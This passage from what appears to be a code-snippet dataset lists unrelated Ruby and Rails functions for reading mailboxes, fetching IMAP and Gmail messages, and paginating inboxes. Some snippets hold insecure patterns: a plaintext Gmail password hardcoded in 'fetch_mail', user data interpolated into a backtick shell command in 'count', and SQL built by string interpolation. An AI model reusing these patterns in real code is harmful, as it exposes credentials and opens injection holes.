nokogiri_object.xpath(\"//*[@id='b1']/ul[2]/li[1]/ul/li[1]/a\")\n return mail_depute.text\nend", "def index\n all_mail_users =\n case @type\n when 'applicable'\n @recipient_list.applicable_mail_users\n when 'included'\n @recipient_list.included_mail_users\n when 'excluded'\n @recipient_list.excluded_mail_users\n end&.order(:name)\n\n @mail_users =\n if params[:page] == 'all'\n all_mail_users&.page(nil)&.per(all_mail_users&.count)\n else\n all_mail_users&.page(params[:page])\n end\n\n flash.alert = '指定のリストはありません。' if @mail_users.nil?\n end", "def list_of_messages()\n\t\t\n\t\t#Create a new request\n\t\trequest_url = \"https://www.googleapis.com/gmail/v1/users/#{@email}/messages?labelIds=Label_1&access_token=#{@access_token}\"\n\n\t\t#GET REQUEST\n\t\tresponse = RestClient.get request_url\n\t\tresponse_body = JSON.parse(response.body)\n\n\t\t#Looping through all the Messages and grabbing id\n\t\tmessages= Array.new\n\n\t\ttemp = response_body['messages']\n\t\ttemp.each do |item|\n\t\t\tmessages.push(item['id'])\n\t\tend \n\t\n\t\treturn messages\n\tend", "def getEmails\n begin\n puts 'attempting to connect to ' + @username + '@gmail.com'\n Gmail.new(@username, @password) do |gmail|\n puts 'connection established'\n #use peek to make emails not be automatically marked as read\n gmail.peek = (@peek === 'true' ? true : false)\n\n if @label == \"none\"\n inbox = gmail.inbox\n boxname = 'inbox'\n else\n inbox = gmail.mailbox(@label)\n boxname = @label + ' box'\n end\n number_unread = inbox.count(:unread)\n if number_unread < 1\n abort(\"There are no new messages in the \" + boxname)\n end\n p \"there are \" + number_unread.to_s + \" unread emails in the \" + boxname\n inbox.emails(:unread).each do |email|\n puts parser(email)\n end\n end\n\n rescue Net::IMAP::NoResponseError\n puts 'connection failed, check your config file for incorrect credentials'\n puts 'perhaps you opted to use a label that doesn\\'t exist, try \"none\" instead'\n end\nend", "def sendemailtoattendees\n \t@users = User.where(:role_id => Role.find_by_title(:attendee))\n \t@sub = params[:emailbody]\n\n @array = []\n\n @users.each do |u|\n @getname = @sub.sub(\"@@Name@@\", \"#{u.first_name} #{u.last_name}\" )\n @array << @getname\n UserMailer.delay.attendee_mail(u, @getname)\n end\n #render :text => @array.to_json\n respond_to do |format|\n \tformat.js\n end\n\n\n end", "def load(number_of_messages)\n loaded_messages = count_loaded_messages\n while loaded_messages < number_of_messages\n message_thread = find_message_thread\n item = check_and_find_first(message_thread, message_thread_elements_css, wait: 5)\n scroll_up_to(item)\n sleep(4)\n return loaded_messages if loaded_messages == count_loaded_messages\n\n loaded_messages = count_loaded_messages\n end\n loaded_messages\n end", "def count\n @mailcount = `exiqgrep -c #{@direction} #{@email} 2>/dev/null`.chomp\n end", "def get_mailbox_messages mailbox_id, posted_since = \"\", include_deleted = \"false\"\n\t\t\tposted_since = Date.today if posted_since.length == 0\n\n\t\t\t@response = api_request 'LoadMessages', [mailbox_id, posted_since, include_deleted]\n\t\t\traise ZenfolioAPI::ZenfolioAPISessionError, @response['error']['message'] if @response['result'].nil? && @response['error'].length > 0\n\n\t\t\t\n\t\tend", "def get_mailbox_count(mailbox_name, metric)\n # Total \n case metric\n when 'total'\n begin\n return @imap_client.status(mailbox_name, ['MESSAGES'])['MESSAGES']\n rescue => error\n puts \"Error getting Total for '#{mailbox_name}': #{error}\"\n return 'error'\n end\n\n when 'unread'\n begin\n return @imap_client.status(mailbox_name, ['UNSEEN'])['UNSEEN']\n rescue => error\n puts \"Error getting Unread for '#{mailbox_name}': #{error}\"\n return 'error'\n end\n\n when 'flagged'\n begin\n @imap_client.examine(mailbox_name)\n return @imap_client.search(['FLAGGED']).length\n rescue => error\n puts \"Error getting Flagged for '#{mailbox_name}': #{error}\"\n return 'error'\n end\n\n when 'daily'\n time_since = Time.now - (86400 * 1)\n begin\n @imap_client.examine(mailbox_name)\n return @imap_client.search(['SINCE', time_since]).length\n rescue => error\n puts \"Error getting Daily for '#{mailbox_name}': #{error}\"\n return 'error'\n end\n else\n puts \"Invalid metric provided for '#{mailbox_name}': '#{metric}'\"\n 'error'\n end\n end", "def get_mailboxes()\n begin\n mblist = @imap_client.list('', '*')\n rescue => error\n p \"ERROR getting mailboxes: #{error}\"\n return [] \n end\n\n return order_mailboxes(mblist)\n end", "def get_messages( page=0 )\n\t result = []\n\t if page > 0\n\t response = self.class.get( '/message_threads', body: { page: page }, headers: {'authorization' => @auth_token} )\n\t JSON.parse( response.body )\n\t else\n\t response = self.class.get( '/message_threads', body: { page: 1 }, headers: {'authorization' => @auth_token} )\n for page in 1..(response[\"count\"]/10 + 1)\n response = self.class.get( '/message_threads', body: { page: page }, headers: {'authorization' => @auth_token} )\n result << JSON.parse(response.body)\n end\n result\n\t end\n\tend", "def send_emails(number_of_emails)\r\n SendEmails(number_of_emails)\r\n end", "def get_messages(page = 0)\r\n if page > 0\r\n message_url = \"/message_threads?page=#{page}\"\r\n else\r\n message_url = \"/message_threads\"\r\n end\r\n response = self.class.get(message_url, headers: { \"authorization\" => @user_auth_token })\r\n JSON.parse(response.body)\r\n end", "def index\n @mail_items = MailItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mail_items }\n end\n end", "def max_subject(mailbox)\r\n x = 0\r\n mailbox.emails.each do |email|\r\n while email.subject.length > x do\r\n x = email.subject.length\r\n end\r\n end\r\n return x\r\n end", "def get_all_recipient_ids\n url = \"#{@goseg_base_url}/recipients/scroll\"\n return RestClient.get(url)\n end", "def sentbox \n add_breadcrumb \"Sentbox\"\n\n @sentbox = current_user.mailbox.sentbox.page(params[:page])\n\n respond_with(@sentbox)\n end", "def count(domain, opts = {})\n call('domain.mailbox.count', domain.fqdn, opts)\n end", "def harvest_number_of_records(page)\n records = ''\n page.body.each_line do |line|\n if line.include?('var allContactsCount')\n records = line.split('= ')[1].gsub(/;/, '')\n end\n end\n return records.to_i\nend", "def deal_mail_messages(id:, **args)\n params = parameters(args) do\n optional_params :start, :limit\n end\n request(:get, \"deals/#{id}/mailMessages\", params)\n end", "def index\n if @box.eql? \"inbox\"\n @conversations = @mailbox.inbox\n elsif @box.eql? \"sent\"\n @conversations = @mailbox.sentbox\n else\n @conversations = @mailbox.trash\n end\n \n @conversations = @conversations.paginate(page: params[:page], per_page: 10)\n end", "def retrieve_message_count_from_server\n response = retrieve_messages_from_server(1)\n response[\"count\"]\n end", "def show_summary\n Log.add_info(request, params.inspect)\n\n mail_account_id = params[:id]\n\n begin\n @mail_account = MailAccount.find(mail_account_id)\n rescue => evar\n Log.add_error(request, evar)\n redirect_to(:controller => 'login', :action => 'logout')\n return\n end\n\n @folder_tree = MailFolder.get_tree_for(@login_user, [mail_account_id])\n mail_folders = @folder_tree.values.flatten.uniq\n mail_folder_ids = mail_folders.collect{|rec| rec.id}\n @unread_emails_h = {}\n unless mail_folder_ids.nil? or mail_folder_ids.empty?\n unread_emails = Email.find(:all, :conditions => \"user_id=#{@login_user.id} and status='#{Email::STATUS_UNREAD}' and mail_folder_id in (#{mail_folder_ids.join(',')})\")\n unread_emails.each do |email|\n mail_folder = mail_folders.find{|rec| rec.id == email.mail_folder_id}\n unless mail_folder.nil?\n @unread_emails_h[mail_folder] ||= 0\n @unread_emails_h[mail_folder] += 1\n end\n end\n end\n @folder_obj_cache ||= MailFolder.build_cache(mail_folders)\n\n render(:layout => (!request.xhr?))\n end", "def list\n @mailing_list.contacts(limit: 10000).map{|contact| contact.email}\n end", "def sync_new(mailbox)\n # Skip any mailbox with attributes in ignore_attr\n return if ! (mailbox.attr & @@ignore_attr).empty?\n return if !@running\n\n name = Net::IMAP.decode_utf7(mailbox.name)\n cache = @mailboxes[name] || Mailbox.new(name)\n\n puts \"Examining mailbox #{name}\"\n\n begin\n @imap.examine(mailbox.name)\n rescue => e\n puts \"Failed to examine mailbox: #{e}\"\n return\n end\n\n uidvalidity = @imap.responses[\"UIDVALIDITY\"][-1]\n uidnext = @imap.responses[\"UIDNEXT\"][-1]\n\n if cache.uidvalidity != uidvalidity\n puts \"UIDVALIDITY differ, rescaning all mailbox\"\n ids = @imap.search([\"NOT\", \"DELETED\"])\n else\n if (cache.uidmax + 1 == uidnext)\n puts \"No new messages\"\n return\n end\n puts \"UIDVALIDITY match, get new messages only\"\n ids = ((cache.uidmax + 1) .. uidnext).to_a\n end\n\n puts \"; got #{ids.size} messages\"\n\n while(!(block = ids.shift(@@buf_size)).empty?)\n\n break if ! @running\n puts \"; requesting messages #{block.first}..#{block.last} from server\"\n\n msgs = @imap.fetch((block.first..block.last), [\"UID\", \"X-GM-MSGID\", \"X-GM-THRID\", \"X-GM-LABELS\", \"FLAGS\", \"RFC822\"])\n\n if ! msgs\n puts msgs\n next\n end\n\n msgs.each { |msg|\n break if ! @running\n\n body = msg.attr[\"RFC822\"]\n body.force_encoding(\"binary\") if body.respond_to?(:force_encoding) \n body.gsub(\"\\r\\n\", \"\\n\")\n\n labels = msg.attr[\"X-GM-LABELS\"].push(name).collect { |label| Net::IMAP.decode_utf7(label.to_s) }\n\n state = msg.attr[\"FLAGS\"].collect { |flag| flag.to_s.downcase.to_sym }\n puts state\n\n begin\n response = RestClient.post \"http://localhost:8042/message.json\", \n { :body => body, :labels => labels, :state => state, :mailbox => name },\n { :content_type => :json, :accept => :json}\n rescue RestClient::ResourceNotFound => e\n puts \"Warning: resource not found\"\n next\n rescue => e\n puts \"Failed to communicate with heliotrope : #{e.class}\"\n @running = false\n break\n end\n\n puts response \n response = JSON.parse(response)\n\n if response[\"response\"] == \"ok\"\n if response[\"status\"] == \"seen\"\n cache.num_seen += 1\n else\n cache.num_indexed += 1\n end\n else\n cache.num_bad += 1\n puts \"Error for message: \" + response[\"error_message\"]\n end\n\n cache.uidmax = [cache.uidmax || 0, msg.attr[\"UID\"]].max\n }\n end\n\n puts \"Store mailbox #{name} cache\"\n cache.uidnext = uidnext\n cache.uidvalidity = uidvalidity\n @mailboxes[name] = cache\n save_mailboxes\n end", "def count(*args)\n emails(*args).size\n end", "def all\n get(\"#{domain}/mailboxes\")\n end", "def update \n composed_mail = mail_from_params(mail_params)\n encoded_mail = Base64.encode64(composed_mail.to_s).tr('+', '-').tr('/', '_')\n\n url = URI(GMAIL_SEND_MAIL_URL)\n\n https = Net::HTTP.new(url.host, url.port)\n body = { raw: encoded_mail, threadId: mail_params[:thread_id] }.to_json\n head = { 'Content-Type' => 'application/json', access_token: @token.fresh_token }\n path = \"#{url.path}?access_token=#{@token.fresh_token}\"\n\n https.use_ssl = true\n result = https.post(\"#{url.path}?access_token=#{@token.fresh_token}\", body, head)\n\n \n if request.xhr?\n @selected_item = { messages: [], headers: nil, labels: [] }\n retrieve_selected_message(@gmail)\n\n render action: :show\n else\n redirect_to request.referer\n end\n end", "def fetch_unread_items(folder)\n item_view = ItemView.new(10) # FIXME: some huge number like 5000, but the JS app is too slow for that\n item_view.property_set = EMAIL_SUMMARY_PROPERTY_SET\n folder.find_items(SearchFilter::IsEqualTo.new(EmailMessageSchema::IsRead, false), item_view).items.to_a\n end", "def fetch_messages(gmail, label, criteria, save_attachments)\n mails = []\n gmail.mailbox(label).search(criteria).each do |email|\n subject = \"#{Mail::Encodings.value_decode(email.subject)}\"\n puts \"----------\"\n puts \"[#{email.uid}] #{subject}\"\n from = sender(email.from)\n to = recipients(email.to)\n attachments = attachments(email)\n body = extract_body(email)\n\n # TODO: saving attachments should be configurable\n if save_attachments && email.message.attachments.any?\n puts \"Attachments:\"\n email.message.attachments.each do |attachment|\n save_attachment(email, attachment)\n end\n end\n\n mails << { :uid => email.uid,\n :date => Time.parse(email.date),\n :subject => subject,\n :from => from,\n :to => to,\n :body => body,\n :attachments => attachments }\n end\n mails\n end", "def getMail\n# gets maximum id avoiding nil case\n id = Message.maximum(:id)\n if id.nil?\n id = 0\n else\n id += 1\n end\n allMail = Mail.all #Grab all unread mail\n if !allMail.empty? #Check to see if no new mail\n allMail.each do |mail|\n#This is a method to check to see if author is from grinnell domain\n# if mail.from[0].downcase.include? (\"@grinnell.edu\")\n# if mail.subject.downcase.include? (\"csstudent\")\n message = Message.new\n message.id = id\n #Grab subject that doesn't include csstudent and other tags\n message.subject = addTag(message, mail.subject)\n message.tag_list.sort!\n message.author = mail.from[0]\n message.content = getContent(mail)\n message.created_at = mail.date.to_s\n # Makes it so both have the same time format\n message.updated_at = Time.now.strftime(\"%Y-%m-%d %H:%M\")\n message.save\n id += 1\n# end\n end\n end\n end", "def index\n @mailmagas = Mailmaga.page params[:page]\n end", "def search(from,after)\n emails = @yahoo_api.find_emails from,after\n\n emails.in_groups_of(10,false).each do |group| \n mids = group.map{|email| email[:mid]}\n email_contents = @yahoo_api.fetch_email_contents mids\n \n mails = email_contents.map do |email_content| \n text = CGI.unescapeHTML(CGI.unescapeHTML(\n email_content[:text]))\n mail = Mail.new(\n :message_id => email_content[:mid],\n :date => email_content[:date],\n :subject => email_content[:subject],\n :body => text)\n mail.html_part = Mail::Part.new do\n content_type 'text/html; charset=UTF-8'\n body text\n end\n mail\n end \n\n yield mails if block_given?\n end\n end", "def mailing\n gb = Gibbon.new\n @lists = Hash.new\n for i in 1..gb.lists['total'] do\n list_id = gb.lists['data'][i - 1]['id']\n name = gb.lists['data'][i - 1]['name']\n @lists[name] = []\n members = gb.list_members({:id => list_id})\n members['data'].map { |m| @lists[name].push(m['email']) }\n end\n end", "def fetch_mail\n# \tp \"Fetching mail...\"\n \tconfig = { :host => 'imap.gmail.com', :port => 993, :username => 'CrowdAssistant', :password => 'CrowdAss'}\n \timap = Net::IMAP.new(config[:host], config[:port], true)\n \timap.login(config[:username], config[:password])\n \timap.select(\"INBOX\")\n \tmessages_to_archive = []\n \timap.search([\"NOT\", \"DELETED\"]).each do |message_id|\n \t\ttask = imap.fetch(message_id, 'BODY[TEXT]')[0].attr['BODY[TEXT]']\n \t\tmessage = imap.fetch(message_id, 'ENVELOPE')[0].attr['ENVELOPE']\n \t\tfrom = \"#{message.sender[0].mailbox}@#{message.sender[0].host}\"\n# p from\n \t\tu = User.find_by_email(from)\n# p u\n \t\tif u\n\t \t\t#Why does an empty resource and resourcetype fail?\n task = task.gsub(\"=\\r\\n\", \"\")\n\t \t\tt = Task.create(:user_id => u.id, :instructions => task, :fields => \"[{\\\"Reply\\\":\\\"t\\\"}]\", :priority => 2, :workflow => \"p\", :redundancy => 2, :resource => \"www.google.com\", :resourcetype => \"l\", :status=>\"Not Started\")\n\t \t\tAssistant.handle(t)\n\t \telse\n#\t \t\tp \"Whoops, some dude who hasn't signed up sent us an email\"\n\t \tend\n \t\tmessages_to_archive << message_id\n \tend\n \timap.store(messages_to_archive, \"+FLAGS\", [:Deleted]) unless messages_to_archive.empty?\n end", "def index \n response.headers['X-Total-Count'] = @admin_notifications.count.to_s\n response.headers['X-Unread-Count'] = @admin_notifications.unread.count.to_s\n @admin_notifications = @admin_notifications.page(params[:page] || 1)\n @admin_notifications = @admin_notifications.per(params[:per] || 8)\n \n _render collection: @admin_notifications\n end", "def mail_unread\n initialize_mocks if @fake\n\n service = Google::Apis::Core::BaseService.new('https://mail.google.com/', 'mail/feed/atom/')\n service.authorization = user_authorization\n service.http(:get, 'https://mail.google.com/mail/feed/atom/')\n end", "def index\n @conversations = \n if params[:read].present? && params[:read] == \"true\"\n current_user.mailbox.inbox(:read => true)\n elsif params[:read].present? && params[:read] == \"false\"\n current_user.mailbox.inbox(:unread => true)\n else \n current_user.mailbox.inbox\n end.page(params[:page])\n \n respond_with(@conversations)\n end", "def retrieve_tweet_ids\n imap = Net::IMAP.new('imap.gmail.com', 993, true, nil, false)\n imap.login(@account['credentials']['email_address'], @account['credentials']['email_password'])\n imap.select('INBOX')\n imap.search([\"NOT\",\"SEEN\"]).each do |message_id|\n msg = imap.fetch(message_id, 'RFC822')[0].attr['RFC822']\n # imap.store(message_id, '+FLAGS', [:Seen])\nputs msg\n end \n imap.logout()\n imap.disconnect()\n end", "def index\n last_modified = nil\n \n role = :default # assume lowest possible role\n \n if params.has_key?(:character_id)\n @character = Fundamental::Character.find(params[:character_id])\n raise NotFoundError.new('Character not found.') if @character.nil?\n inbox = @character.inbox \n last_modified = inbox.updated_at if !inbox.nil?\n @messaging_inboxes = inbox.nil? ? [] : [ inbox ]\n role = determine_access_role(@character.id, @character.alliance_id)\n else\n @asked_for_index = true\n raise ForbiddenError.new('AccessForbidden') unless admin? || staff?\n end\n\n render_not_modified_or(last_modified) do\n respond_to do |format|\n format.html do\n if @messaging_inboxes.nil?\n @messaging_inboxes = Messaging::Inbox.paginate(:page => params[:page], :per_page => 50) \n @paginate = true \n end \n end\n format.json do\n raise ForbiddenError.new('Access Forbidden') if @asked_for_index \n render json: @messaging_inboxes, :only => Messaging::Inbox.readable_attributes(role)\n end\n end\n end\n end", "def index\n @type = params[:type]\n @per_page = 7\n if !params[:page].blank?\n @page = params[:page]\n else\n @page = 1\n end\n @sent_count = Message.where('sender_id = ? AND status != 2', current_user.id).count\n @inbox_count = Messaging.where(\"recipient_id = ? AND status = 0\", current_user.id).count\n case @type\n when 'sent'\n @messages = Message.where('sender_id = ? AND status != 2', current_user.id).order('created_at DESC').paginate(:page => @page, :per_page => @per_page)\n else\n @messages = Message.joins(:messagings).where(\"messagings.recipient_id = ? AND messages.status != 2\", current_user.id).order('created_at DESC').paginate(:page => @page, :per_page => @per_page)\n end\n @grouped = @messages.to_a.group_by { |t| t.parent }\n end", "def inbox\r\n @messages = current_user.inbox_messages\r\n session[:mail_box] = \"inbox\"\r\n render :action => \"messages\"\r\n end", "def show\n @email_listing = EmailListing.find(params[:id])\n unless current_user.is_admin?\n @emails = []\n else\n @emails = @email_listing.emails\n end\n @listing = (@emails.nil? ? [] : @emails.map(&:address).compact.each_slice(@email_listing.per_line).to_a)\n\n @listing_size = @emails.size\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @email_listing }\n end\n end", "def mailq\n mailq = []\n\n req(\"mailq\") do |resp|\n mailq.concat [resp[:body]].flatten\n end\n\n mailq\n end", "def index\n @emails = DirectEmail.scoped\n\n if params.keys.include? \"company_id\"\n @emails = @emails.where(:company_id => params[:company_id])\n end\n\n if params.keys.include? \"limit\"\n @emails = @emails.limit(params[:limit])\n end\n\n respond_with @emails\n end", "def index\n @emails = @claim.emails.page(params[:page]).per(50)\n end", "def show_summary\n Log.add_info(request, params.inspect)\n\n mail_account_id = params[:id]\n SqlHelper.validate_token([mail_account_id])\n\n begin\n @mail_account = MailAccount.find(mail_account_id)\n rescue => evar\n Log.add_error(request, evar)\n redirect_to(:controller => 'login', :action => 'logout')\n return\n end\n\n @folder_tree = MailFolder.get_tree_for(@login_user, [mail_account_id])\n# logger.fatal('@@@ ' + sorted_mail_folders.flatten.collect{|rec| rec.name}.inspect)\n mail_folders = TreeElement.get_flattened_nodes(@folder_tree)\n mail_folder_ids = mail_folders.collect{|rec| rec.id.to_s}\n\n @unread_emails_h = {}\n unless mail_folder_ids.nil? or mail_folder_ids.empty?\n unread_emails = Email.where(\"user_id=#{@login_user.id} and status='#{Email::STATUS_UNREAD}' and mail_folder_id in (#{mail_folder_ids.join(',')})\").to_a\n unread_emails.each do |email|\n mail_folder = mail_folders.find{|rec| rec.id == email.mail_folder_id}\n unless mail_folder.nil?\n @unread_emails_h[mail_folder] ||= 0\n @unread_emails_h[mail_folder] += 1\n end\n end\n end\n @unread_emails_h = @unread_emails_h.sort_by{|mail_folder, count| mail_folders.index(mail_folder) }\n\n @draft_emails_h = {}\n unless mail_folder_ids.nil? or mail_folder_ids.empty?\n draft_emails = Email.where(\"user_id=#{@login_user.id} and status='#{Email::STATUS_DRAFT}' and mail_folder_id in (#{mail_folder_ids.join(',')})\").to_a\n draft_emails.each do |email|\n mail_folder = mail_folders.find{|rec| rec.id == email.mail_folder_id}\n unless mail_folder.nil?\n @draft_emails_h[mail_folder] ||= 0\n @draft_emails_h[mail_folder] += 1\n end\n end\n end\n @draft_emails_h = @draft_emails_h.sort_by{|mail_folder, count| mail_folders.index(mail_folder) }\n\n @folder_obj_cache ||= MailFolder.build_cache(mail_folders)\n\n render(:layout => (!request.xhr?))\n end", "def sent(email_count, count)\n \"<div><div id='s#{email_count}.#{count}' class='sentences'><b>#{email_count}.#{count}</b>&nbsp;\"\n end", "def count(*args)\n emails(*args).length\n end", "def count(*args)\n emails(*args).length\n end", "def index\n ###FIRST THING: MOVE THIS TO MODEL SO IT RETURNS WHAT YOU WANT FOR @message. Set @message that way!\n case params[:type]\n when 'hits'\n @messages = current_user.received_messages.active.where(\"messageable_type = 'Unlisting'\").paginate(page: params[:page]) #NOT replies\n when 'received'\n @messages = current_user.received_messages.active.where.not(\"messageable_type = 'Message'\").paginate(page: params[:page]) #NOT replies\n when 'sent'\n @messages = current_user.sent_messages.active.where.not(\"messageable_type = 'Message'\").paginate(page: params[:page]) #NOT replies\n else\n @messages = current_user.all_msgs_sent_received.paginate(page: params[:page])\n end\n\n respond_to do |format|\n format.any(:html, :js) { render 'index' }\n end\n end", "def index\n @messages = apply_scopes(scope.messages)\n @messages.read!\n respond_to do |format|\n format.html {\n redirect_to action: :inbox\n }\n format.json\n format.js\n end\n end", "def sync_new_mail_count\n c = conversations.count(:conditions => [\"mails.mail_type = 'inbox' and mails.read = 0\"])\n self.class.update_all [\"new_mail_count = ?\", c], [\"id = ?\", id]\n end", "def show\n email = Gmailer.gmail.inbox.find(:all).find {|e| e.msg_id == @message.message_id.to_i } #convert due to wrong type\n @attachments = email ? email.message.attachments : []\n end", "def index\r\n @channel.users << current_user unless @channel.users.include? current_user\r\n @messages = Message.where(channel: @channel).order(created_at: :desc).page(params[:page]).per_page(30)\r\n @possible_subscribers = User.not_subscribed_to @channel\r\n @channel.mark_messages_read_for current_user\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.js # index.js.erb\r\n end\r\n end", "def index\n @messages = Message.where(\" messages.room_id = ? and messages.to is NULL\", params[:room_id])\n totalMessages = (@messages.size>10) ? 9 : @messages.size\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @messages.reverse[0..totalMessages].reverse }\n end\n end", "def fetch\n messages = @connection.uid_search(['ALL'])\n RAILS_DEFAULT_LOGGER.info \"MESSAGES Found? [#{messages.size}]\"\n RAILS_DEFAULT_LOGGER.info \"MESSAGE UIDS #{messages.inspect}\"\n\n if messages.size > @index\n RAILS_DEFAULT_LOGGER.info \".. Fetching INDEX [#{@index}] ...\"\n @index += 1\n result = process_upload(messages[@index - 1])\n return result\n else\n return nil end\n end", "def get_matching_students_count\n @email = DirectEmail.find(params[:id])\n respond_with @email.get_matching_students_count\n end", "def get_new_msg_num(last_msg_id)\n uri = 'cgi-bin/getnewmsgnum?f=json&t=ajax-getmsgnum'\\\n \"&lastmsgid=#{last_msg_id}&token=#{@token}&lang=zh_CN\"\n post_params = {\n ajax: 1,\n f: 'json',\n lang: 'zh_CN',\n random: rand,\n token: @token\n }\n post_headers = {\n referer: 'https://mp.weixin.qq.com/cgi-bin/message?t=message/list'\\\n \"&count=20&day=7&token=#{@token}&lang=zh_CN\"\n }\n resource = RestClient::Resource.new(@home_url, headers: post_headers,\n cookies: @cookies)\n res = resource[uri].post post_params\n JSON.parse res.to_s\n end", "def index\n @home_id = params[:home_id]\n params[:page] ? @page = params[:page] : @page = 1\n @message_boards = MessageBoard.return_current_page_message_boards(@home_id, @page)\n @always_page = MessageBoard.count_page(@home_id)\n\n end", "def show\n if params[:email_thread]\n @email_thread = EmailThread.find(params[:email_thread])\n elsif session[:id]\n @summary = Summary.find(session[:id])\n @email_thread = @summary.email_thread\n else\n flash[:notice] = \"You are logged out.\"\n redirect_to(:controller => '/account', :action => 'login')\n return\n end\n @emails = []\n email_count = 0\n for email in @email_thread.myemails\n email_count+=1\n s = email.Body\n #Keep track of tag beginning and ending\n open = false\n count = 1\n while s.include? \"^\"\n if !open\n case params[:control]\n when 'read' , 'sum' , 'show'\n s[s.index(\"^\"),1] = sent(email_count, count)\n when 'label'\n s[s.index(\"^\"),1] = label(email_count, count)\n end\n open = true\n count += 1\n else\n s[s.index(\"^\"),1] = '</div></div>'\n open = false\n end\n end\n s.gsub! \"/-\\\\\", \"^\"\n @emails << email\n end\n #Render correct action\n case params[:control]\n when 'read'\n render :action => 'read'\n when 'sum'\n render :action => 'sum'\n when 'label'\n render :action => 'label'\n when 'show'\n render :action => 'show'\n end\n end", "def get_email_list(email)\n mail_list_array = []\n response = get_emails(email)\n if !response.blank?\n json_body = JSON.parse(response.body)\n if !json_body[\"items\"].blank?\n Rails.logger.info \"Total Emails: #{json_body[\"items\"].count}\"\n json_body[\"items\"].each do |item|\n Rails.logger.info \"Subject: #{item['message']['headers']['subject']}\"\n Rails.logger.info \"Storage Url: #{item['storage']['url']}\"\n mail_list_array.push(item['storage']['url'])\n end\n end\n end\n mail_list_array\n end", "def add_collaborators_with_profile1(mail_id)\n\n puts(\"**************************\")\n puts(\"**************************\")\n puts(\"add_collaborators_with_profile1\")\n puts(mail_id)\n puts(\"**************************\")\n puts(\"**************************\")\n\n @member_emails = users = mail_id.split( /, */ ).each{|x| x.strip! }\n @tmp_mem_list = ''\n @m = []\n arr=[]\n f= \"false\"\n for user in users.uniq\n user_details = find_user_details(user.strip)\n u_email , u_id , u_name = user_details.email , user_details.id , user_details.name\n if u_email != current_user.email\n # @tmp_mem_list = @tmp_mem_list + \"<div class=\\\"add_users_collaboratercol\\\" id=\\\"#{user.to_s}\\\"><div class=\\\"add_users_imgcol\\\"><img width=\\\"30\\\" height=\\\"36\\\" src=\\\"#{display_image_for_user_add_collab(u_id)}\\\"/></div><div class=\\\"collaboraterow\\\"><a title=\\\"Unshare this file\\\" href=\\\"#\\\" onclick=\\\"if (confirm(\\\\'Are you sure you want to remove this user ?\\\\')){delete_collaborator_users(\\\\'#{u_email}\\\\',\\\\'#{u_id}\\\\');} return false\\\"><img border=0 width=7 height=7 src=\\\"/images/del_icon.png\\\" title=\\\"#{remove_collaborator_tooltip}\\\" /></a><div class=\\\"collaboratername\\\">#{(!u_name.nil? and !u_name.blank?) ? \"#{lengthy_word_simplification(u_name,7,5)}\" : user.split('@')[0]} </div><div class=\\\"collaborateremail\\\">#{user}</div> </div></div>\"\n f = \"true\"\n end\n end\n # render :action => 'add_collaborators_with_profile.rjs'\n\n end", "def open_message(subject)\n active_div.div(:class=>\"inbox_subject\").link(:text=>subject).click\n wait_for_ajax(2)\n end", "def count(*args)\n emails(*args).length\n end", "def batch_messages_for_page messages, filter, request_format\n logger.info \"Getting a new page of messages\"\n\n messages.each do |message|\n filter.add(api_method: $gmail_api.users.messages.get,\n parameters: {userId: 'me', id: message.id, format: request_format})\n end\n\n begin\n filtered_message_list(filter) unless messages.empty?\n rescue StandardError => error\n puts \"*** Error : #{error.message}\"\n puts \"*** #{error.backtrace.join(\"\\n\")}\"\n\n retry if retry_it?\n end\n end", "def ajax_load_email_template_info\n\n # Get the Current App\n @app = MailfunnelsUtil.get_app\n\n # Get the Node from the DB\n node = Node.find(params[:node_id])\n\n # Get the Template related to node\n @template = EmailTemplate.find(node.email_template_id)\n\n\n if @template.style_type === 1\n html = File.open(\"app/views/template/styles/mf-minimal_1.html.erb\").read\n else\n html = File.open(\"app/views/email/template.html.erb\").read\n end\n\n @renderedhtml = \"1\"\n ERB.new(html, 0, \"\", \"@renderedhtml\").result(binding)\n\n\n data = {\n :html => @renderedhtml\n }\n\n # Return data as JSON\n render json: data\n\n\n end", "def index\n @mailings = Mailing.paginate(:page => params[:page], :per_page => 20,\n :order => \"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @mailings }\n end\n end", "def index\n @emails = Email.scoped\n\n if params.keys.include? \"company_id\"\n @emails = @emails.where(:company_id => params[:company_id])\n end\n\n if params.keys.include? \"limit\"\n @emails = @emails.limit(params[:limit])\n end\n\n respond_with @emails\n end", "def test_get_index_paging\n page_size = 10\n mark = 0\n begin\n uri = URI.parse '/api2/index' \n uri.query = Rack::Utils.build_query(\n :email => CGI.escape(@email),\n :auth => @token,\n :length => page_size,\n :mark => mark\n )\n \n get uri.to_s\n response = JSON.parse(last_response.body)\n mark = response['mark'].to_i\n end while response['mark']\n end", "def index\n @mail_items = MailItem.all\n end", "def fetch_more_contacts\n page_limit = params[:page_no].to_i * params[:per_page].to_i\n @contact = eval(params[:contact_type]).find(params[:c_id].to_i)\n if params[:contact_type] == \"IndividualContact\"\n @individual_contacts = @current_organization.individual_contacts.where('id NOT IN (?)',params[:c_id]).order(\"id desc\").limit(page_limit)\n @company_contacts = @current_organization.company_contacts.order(\"id desc\").limit(page_limit)\n else\n @individual_contacts = @current_organization.individual_contacts.order(\"id desc\").limit(page_limit)\n @company_contacts = @current_organization.company_contacts.where('id NOT IN (?)',params[:c_id]).order(\"id desc\").limit(page_limit)\n end\n @contacts = @individual_contacts + @company_contacts\n render partial: \"list_contacts_in_contact_details\"\n end" ]
